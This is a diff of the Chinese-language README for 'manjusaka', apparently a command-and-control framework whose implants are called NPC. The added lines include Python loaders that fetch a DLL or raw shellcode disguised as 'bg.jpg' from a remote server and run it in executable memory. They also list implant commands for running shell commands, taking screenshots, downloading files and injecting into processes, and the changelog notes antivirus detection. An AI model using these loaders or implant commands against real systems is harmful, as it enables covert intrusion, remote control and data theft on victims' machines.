|
16 | 16 | ##系统架构: 
|
17 | 17 |
|
18 | 18 | ## 使用方法
|
| 19 | +配置conf.toml 运行主文件 |
19 | 20 | ```bash
|
20 | 21 | [root@devops nps]# ./manjusaka
|
21 | 22 | [NPS] 2022/09/14 15:57:21 初始用户: manjusaka 密码: ZbFCa2L2LRd5
|
|
28 | 29 | [NPS] 2022/09/14 15:57:21 NPC下载路由 : /:target/assert/:sys/bg.jpg
|
29 | 30 | [NPS] 2022/09/14 15:57:21 NPC文件路由 : /images/:fid/logo.png
|
30 | 31 | ```
|
31 |
| -则NPS访问地址为 http://192.168.93.217:3200/manjusaka |
| 32 | +则NPS访问地址为 http://192.168.93.217:3200/manjusaka |
| 33 | +账号密码见初始日志,每个人生成的密码及默认路由都不一样 如需修改 请自行编辑nps.db文件 |
32 | 34 |
|
33 | 35 |
|
34 |
| -1、创建项目,默认有一个公共项目,选择当前项目后 可在回传结果里面查看当前项目回传的信息 |
| 36 | +1、创建项目,默认有一个公共项目,通过项目【状态】开关可以控制项目是否启用状态。选择当前项目后 可在回传结果里面查看当前项目回传的信息。 |
35 | 37 |
|
36 | 38 | 
|
37 | 39 |
|
38 | 40 |
|
39 |
| -2、根据项目 生成npc 可以直接使用exe或elf格式的npc。也可以使用其它语言加载npc母体 比如使用python加载npc |
| 41 | +2、根据项目 生成npc 可以直接使用exe或elf格式的npc。也可以使用其它语言加载npc母体 比如使用python加载npc母体dll |
40 | 42 |
|
41 | 43 | ```python
|
42 | 44 | import requests
|
43 | 45 | from ctypes import cdll
|
44 |
| - |
45 |
| -res = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/dll/bg.jpg") |
| 46 | +res = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/dll/x64/bg.jpg") |
46 | 47 | with open("a.dll","wb") as f:
|
47 | 48 | f.write(res.content)
|
| 49 | +cdll.LoadLibrary("a.dll").main() |
| 50 | + |
| 51 | +``` |
48 | 52 |
|
49 |
| -dll = cdll.LoadLibrary("a.dll") |
50 |
| -dll.main() |
| 53 | +或者使用shellcode内存加载的形式 |
| 54 | +```python |
| 55 | +import requests |
| 56 | +import ctypes |
| 57 | +shellcode = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/bin/x64/bg.jpg").content |
| 58 | +rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) |
| 59 | +ctypes.windll.kernel32.RtlMoveMemory(rwxpage, shellcode, len(shellcode)) |
| 60 | +handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) |
| 61 | +ctypes.windll.kernel32.WaitForSingleObject(handle, -1) |
51 | 62 |
|
52 | 63 | ```
|
53 | 64 |
|
54 | 65 |
|
55 | 66 | 
|
56 | 67 |
|
57 |
| -3、npc上线,点选中该npc即可对其进行操作 |
| 68 | +3、npc上线,点选中该npc即可对其进行操作, 输入help可查看帮助。目前支持的操作命令如下: |
| 69 | +``` |
| 70 | +help 打印帮助 |
| 71 | +ps 查看进程 eg: ps |
| 72 | +ss 查看网络连接 eg: ss |
| 73 | +ls 枚举文件 eg: ls / |
| 74 | +cd 切换目录 eg: cd / |
| 75 | +sh 执行系统命令 eg: sh ps -aux , sh tasklist |
| 76 | +cat 读取文本 cat a.txt |
| 77 | +screen 执行截屏 screen (可能会报毒。。待优化) |
| 78 | +wget 下载文件 eg: wget http://192.168.1.1/a.txt <a.txt> 文件名可选 默认当前 |
| 79 | +start 执行插件可执行文件 eg: start name <args> 需要可执行文件在plugins目录下 会自动把插件传到目标机器上面 |
| 80 | +pl 执行插件 eg: pl plugname <plugargs> 需要插件在plugins目录下 |
| 81 | +inject 注入进程 eg: inject pid <shellcodeurl> shellcodeurl可选 默认下载当前shellcode下载链接 |
| 82 | +
|
| 83 | +``` |
58 | 84 |
|
59 | 85 | 
|
60 | 86 |
|
@@ -161,7 +187,21 @@ message PlugResult {
|
161 | 187 | ## 更新
|
162 | 188 |
|
163 | 189 | ### todo
|
164 |
| -添加 PPID spoofer 支持 |
| 190 | + |
| 191 | + |
| 192 | +### v0.7 |
| 193 | +1、新增shellcode加载方式,新增系统位数区分 |
| 194 | + |
| 195 | +2、去除nps db的agents表, 使用内存记录npc列表 将进程名称改为进程全路径 |
| 196 | + |
| 197 | +3、优化npu推送模式, 修复大量npc时的npu卡顿问题 |
| 198 | + |
| 199 | +4、新增进程注入命令 简单实现 CopySelf(copyself会报毒慎用...待优化) |
| 200 | +https://github.com/malware-unicorn/rusty-memory-loadlibrary/blob/9eddd40949515733239f94df6499d2cded08ec84/src/main.rs |
| 201 | + |
| 202 | +5、配置文件加密,配置分阶段加载。 |
| 203 | + |
| 204 | +6、去除了没啥用的功能 |
165 | 205 |
|
166 | 206 |
|
167 | 207 | ### v0.6
|
@@ -218,3 +258,4 @@ message PlugResult {
|
218 | 258 |
|
219 | 259 | ## 交流
|
220 | 260 | https://discord.gg/YMqeN5Qyk4
|
| 261 | + |
0 commit comments